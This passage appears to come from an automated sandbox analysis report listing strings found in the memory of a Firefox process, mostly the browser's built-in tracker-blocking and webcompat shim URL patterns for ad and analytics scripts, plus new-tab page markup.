resource://gre/modules/TelemetryArchive.sys.mjschrome://browser/content/browser.xhtmlresource:///modules/ShellService.sys.mjschrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlresource://normandy/lib/NormandyUtils.sys.mjsservices.sync.clients.devices.mobilechrome://browser/content/browser.xhtmlresource:///modules/AttributionCode.sys.mjschrome://browser/content/browser.xhtmlbrowser.laterrun.bookkeeping.sessionCountbrowser.laterrun.bookkeeping.profileCreationTi
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "*://www.facebook.com/platform/impression.php*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php**://*.adsafeprotected.com/*/Serving/**://pubads.g.doubleclick.net/gampad/*xml_vmap1*https://ads.stickyadstv.com/firefox-etp*://*.adsafeprotected.com/*/unit/*amazondotcom%40search.mozilla.org:1.6resource://search-extensions/wikipedia/wikipedia%40search.mozilla.org:1.3https://en.wikipedia.org/wiki/Special:Search*addons-search-detection%40mozilla.com:2.0.0resource://search-extensions/google/resource://search-extensions/bing/resource://search-extensions/ddg/resource://builtin-addons/search-detection/firefox-compact-light@mozilla.orgaddons-search-detection@mozilla.comfirefox-compact-light%40mozilla.org:1.2firefox-compact-dark%40mozilla.org:1.2resource://builtin-themes/alpenglow/firefox-alpenglow%40mozilla.org:1.4resource://gre/modules/TelemetryUtils.sys.mjsresource://gre/modules/TelemetryStorage.sys.mjsresource://search-extensions/amazondotcom/resource://gre/modules/AddonManager.sys.mjsTelemetrySession::onEnvironmentChange8# equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2963511722.00000229804B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.000002298073A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.0000022980777000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1https://smartblock.firefox.etp/play.svg@mozilla.org/network/file-output-stream;1*://static.criteo.net/js/ld/publishertag.js*://web-assets.toggl.com/app/assets/scripts/*.js*://libs.coremetrics.com/eluminate.jsFileUtils_openAtomicFileOutputStream*://static.chartbeat.com/js/chartbeat.jswebcompat-reporter%40mozilla.org:1.5.1resource://gre/modules/addons/XPIProvider.jsm*://pub.doubleverify.com/signals/pub.js*FileUtils_closeSafeFileOutputStream@mozilla.org/network/atomic-file-output-stream;1*://c.amazon-adsystem.com/aax2/apstag.js*://auth.9c9media.ca/auth/main.js*://*.imgur.com/js/vendor.*.bundle.jsFileUtils_closeAtomicFileOutputStreamFileUtils_openSafeFileOutputStream@mozilla.org/addons/addon-manager-startup;1*://*.imgur.io/js/vendor.*.bundle.js*://www.rva311.com/static/js/main.*.chunk.js*://track.adform.net/serving/scripts/trackpoint/pictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/facebook.svg*://www.everestjs.net/static/st.v3.js*resource://gre/modules/FileUtils.sys.mjs*://connect.facebook.net/*/sdk.js**://static.chartbeat.com/js/chartbeat_video.js*://www.google-analytics.com/analytics.js**://www.google-analytics.com/gtm/js**://www.google-analytics.com/plugins/ua/ec.js*://ssl.google-analytics.com/ga.js*://www.googletagmanager.com/gtm.js**://imasdk.googleapis.com/js/sdkloader/ima3.js*://pagead2.googlesyndication.com/tag/js/gpt.js**://s0.2mdn.net/instream/html5/ima3.js*://www.googletagservices.com/tag/js/gpt.js**://cdn.adsafeprotected.com/iasPET.1.js*://static.adsafeprotected.com/iasPET.1.js*://adservex.media.net/videoAds.js**://*.moatads.com/*/moatheader.js**://cdn.optimizely.com/public/*.js*://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://s.webtrends.com/js/advancedLinkTracking.js*://s.webtrends.com/js/webtrends.js*://*.vidible.tv/*/vidible-min.js**://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MAX_NUMBER_OF_DYNAMIC_AND_SESSION_RULESdefault_public_and_private_interfaces^(sha256|sha512):[0-9a-fA-F]{64,128}$"*://connect.facebook.net/*/all.js*""*://www.google-analytics.com/plugins/ua/ec.js" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Opening inactive windows is not supported.Please use $(ref:runtime.onMessage).MAX_NUMBER_OF_ENABLED_STATIC_RULESETS"*://*.moatads.com/*/moatapi.js*""*://js.maxmind.com/js/apis/geoip2/*/geoip2.js""*://pubads.g.doubleclick.net/gampad/*ad-blk*""*://securepubads.g.doubleclick.net/gampad/*ad*""*://s.webtrends.com/js/advancedLinkTracking.js""*://static.adsafeprotected.com/iasPET.1.js""*://www.facebook.com/platform/impression.php*""*://*.vidible.tv/*/vidible-min.js*""https://ads.stickyadstv.com/firefox-etp""*://*.adsafeprotected.com/*.png*""*://*.adsafeprotected.com/*.js*""*://*.adsafeprotected.com/jload?*""*://*.adsafeprotected.com/jsvid""*://*.moatads.com/*/moatheader.js*""*://ads.stickyadstv.com/auto-user-sync*""*://pixel.advertising.com/firefox-etp""*://*.adsafeprotected.com/*/adj*""*://track.adform.net/Serving/TrackPoint/*""*://ads.stickyadstv.com/user-matching*""*://vast.adsafeprotected.com/vast*""*://*.adsafeprotected.com/*.gif*""*://*.adsafeprotected.com/*/imp/*""*://adservex.media.net/videoAds.js*""*://s.webtrends.com/js/webtrends.min.js""*://*.adsafeprotected.com/*/Serving/*""*://pubads.g.doubleclick.net/gampad/*ad*""*://*.adsafeprotected.com/*/unit/*""*://*.adsafeprotected.com/jload""*://*.adsafeprotected.com/jsvid?*""*://s.webtrends.com/js/webtrends.js""*://*.adsafeprotected.com/tpl?*""*://cdn.optimizely.com/public/*.js""*://pixel.advertising.com/firefox-etp""*://pubads.g.doubleclick.net/gampad/*ad-blk*""*://vast.adsafeprotected.com/vast*""*://track.adform.net/Serving/TrackPoint/*""*://securepubads.g.doubleclick.net/gampad/*ad*""*://pubads.g.doubleclick.net/gampad/*ad*""*://www.facebook.com/platform/impression.php*""https://ads.stickyadstv.com/firefox-etp""*://ads.stickyadstv.com/auto-user-sync*""*://*.adsafeprotected.com/*.gif*""*://*.adsafeprotected.com/*.png*""*://*.adsafeprotected.com/*.js*""*://*.adsafeprotected.com/*/adj*""*://*.adsafeprotected.com/services/pub*""*://*.adsafeprotected.com/*/imp/*""*://*.adsafeprotected.com/*/Serving/*""*://*.adsafeprotected.com/*/unit/*""*://*.adsafeprotected.com/jload""*://ads.stickyadstv.com/user-matching*""*://*.adsafeprotected.com/jload?*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Please use $(ref:runtime.getURL)."*://connect.facebook.net/*/sdk.js*""*://www.google-analytics.com/gtm/js*"^resource://(\*|\*\.[^*/]+|[^*/]+)/.*$|^about:"*://*.imgur.com/js/vendor.*.bundle.js"Please use $(ref:runtime.lastError)."*://*.imgur.io/js/vendor.*.bundle.js" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001B.00000002.2965275696.0000022980603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", 